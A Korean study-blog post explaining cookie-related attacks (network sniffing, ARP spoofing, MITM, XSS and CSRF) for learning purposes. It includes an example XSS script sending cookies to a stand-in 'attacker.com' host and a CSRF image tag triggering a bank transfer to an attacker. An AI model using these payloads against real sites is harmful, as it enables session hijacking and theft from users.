쿠키의 취약점
1. 네트워크 스니핑 (Network Sniffing)
1. 1 네트워크 스니핑이란?
네트워크 상의 데이터를 가로채거나 감청
패킷 캡처(Packet Capture) 도구를 이용해 네트워크에서 전송되는 데이터를 수집 & 분석
HTTP 같은 암호화되지 않은 프로토콜을 사용할 때 발생
1. 2 네트워크 스니핑 방식
- 공유 네트워크 스니핑
- 공공 Wi-Fi와 같은 공유 네트워크에서 발생
- 네트워크가 브로드캐스트 방식으로 데이터를 전송
→ 공격자는 네트워크 트래픽을 모니터링하여 다른 사용자가 보내는 데이터를 하이재킹
- ARP 스푸핑 (ARP Spoofing)
- 공격자가 로컬 네트워크에서 자신의 장치를 라우터로 위장하여 패킷을 중간에서 가로채기
→ 세션 쿠키, 로그인 자격 증명, 민감한 데이터를 탈취
- 공격자가 로컬 네트워크에서 자신의 장치를 라우터로 위장하여 패킷을 중간에서 가로채기
- MITM (Man-in-the-Middle) 공격
- 공격자가 네트워크 흐름 중간에 위치하여 데이터를 가로채거나 수정
- HTTPS를 우회하거나, 암호화되지 않은 데이터를 대상으로 사용됨.
1. 2 공격 예시
- 공격자가 로컬 네트워크에서 자신의 MAC 주소를 라우터의 MAC 주소로 위조
네트워크에 연결된 모든 장치가 데이터를 공격자에게 전송
공격자는 로그인 정보, 민감한 데이터, 세션 쿠키 등을 탈취
2. 크로스 사이트 스크립팅 (XSS)
2. 1 XSS란?
공격자가 악성 스크립트를 웹 페이지에 삽입 → 사용자의 브라우저에서 실행
이를 통해 사용자의 쿠키 탈취, 키로깅 등의 행위가 가능
2. 2 XSS 방식
Stored XSS:
악성 스크립트를 데이터베이스에 저장, 여러 사용자가 웹 페이지를 열 때마다 실행
→ 리뷰 섹션에
<script>
를 삽입하고, 페이지를 보는 모든 사용자 브라우저에서 실행
Reflected XSS:
악성 스크립트를 URL에 포함시켜 서버로 전달, 반사된 응답을 이용
→ 검색창에 입력된 악성 스크립트를 응답 HTML에서 필터링 없이 출력
DOM-Based XSS:
클라이언트 측에서 JavaScript를 직접 조작하여 악성 코드를 실행
→ JavaScript가 URL 파라미터를 읽어 DOM을 조작할 때, 파라미터 값이 악성 코드인 경우
2. 3 공격 예시
- 공격자가 댓글란에 악성 스크립트
<script>document.location="http://attacker.com?cookie="+document.cookie</script>
를 삽입- 다른 사용자가 해당 페이지를 열면, 브라우저에서 스크립트가 실행되고, 사용자의 쿠키가 공격자의 서버로 전송됨
- 공격자는 탈취한 쿠키를 이용해 사용자의 세션을 하이재킹
3. 크로스 사이트 요청 위조 (CSRF)
3. 1 CSRF란?
공격자가 사용자의 인증된 상태를 악용하여, 사용자가 원하지 않는 요청을 웹 애플리케이션에 전송하는 공격
→ 공격자가 사용자를 속여, 피해자의 브라우저가 로그인된 상태로 특정 요청을 전송하게 하는 것
3. 2 CSRF 방식
사용자가 웹 애플리케이션에 로그인해 세션 쿠키를 발급
→ 공격자가 악성 스크립트나 링크를 포함한 이메일, 웹 페이지 등을 사용자가 열도록 유도
→ 사용자의 브라우저가 자동으로 세션 쿠키를 포함해 요청을 전송
→ 서버는 요청이 피해자 본인으로부터 온 것으로 판단하고 요청을 처리
3. 3 공격 예시
- 사용자가 인터넷 뱅킹에 로그인
- 공격자가 "잔액 전송" 요청을 포함한 악성 링크를 이메일로 전송
<img src="http://bank.com/transfer?to=attacker&amount=1000">
- 사용자가 링크를 열면, 브라우저가 자동으로 요청을 전송하고 공격자의 계좌로 돈이 전송됨
- 서버는 사용자가 인증된 상태임을 확인하고 요청을 정상 처리함
공격 기법 | 초점 | 공격 목표 | 주요 수단 |
---|---|---|---|
세션 하이재킹 | 세션 쿠키 탈취 | 인증된 사용자로 가장 | 스니핑, 악성 스크립트 (XSS) |
XSS | 악성 스크립트 실행 | 사용자 정보 탈취, 악성 동작 수행 | HTML, JavaScript 삽입 |
CSRF | 피해자의 세션 악용 | 권한 있는 상태로 악의적 요청 전송 | 악성 링크, 이미지 태그 등 |
'💽 CS Knowledge > 🌐 Network' 카테고리의 다른 글
[혼자 공부하는 네트워크] Day 5 / 암호화 프로토콜 (SSL/TLS) (0) | 2025.01.07 |
---|---|
[혼자 공부하는 네트워크] Day 3 / 포트 포워딩 & DMZ (0) | 2024.12.23 |
[혼자 공부하는 네트워크] Day 2 / 게이트 웨이 (0) | 2024.12.23 |
[혼자 공부하는 네트워크] Day 1 / LAN과 서브넷 마스크 (0) | 2024.12.23 |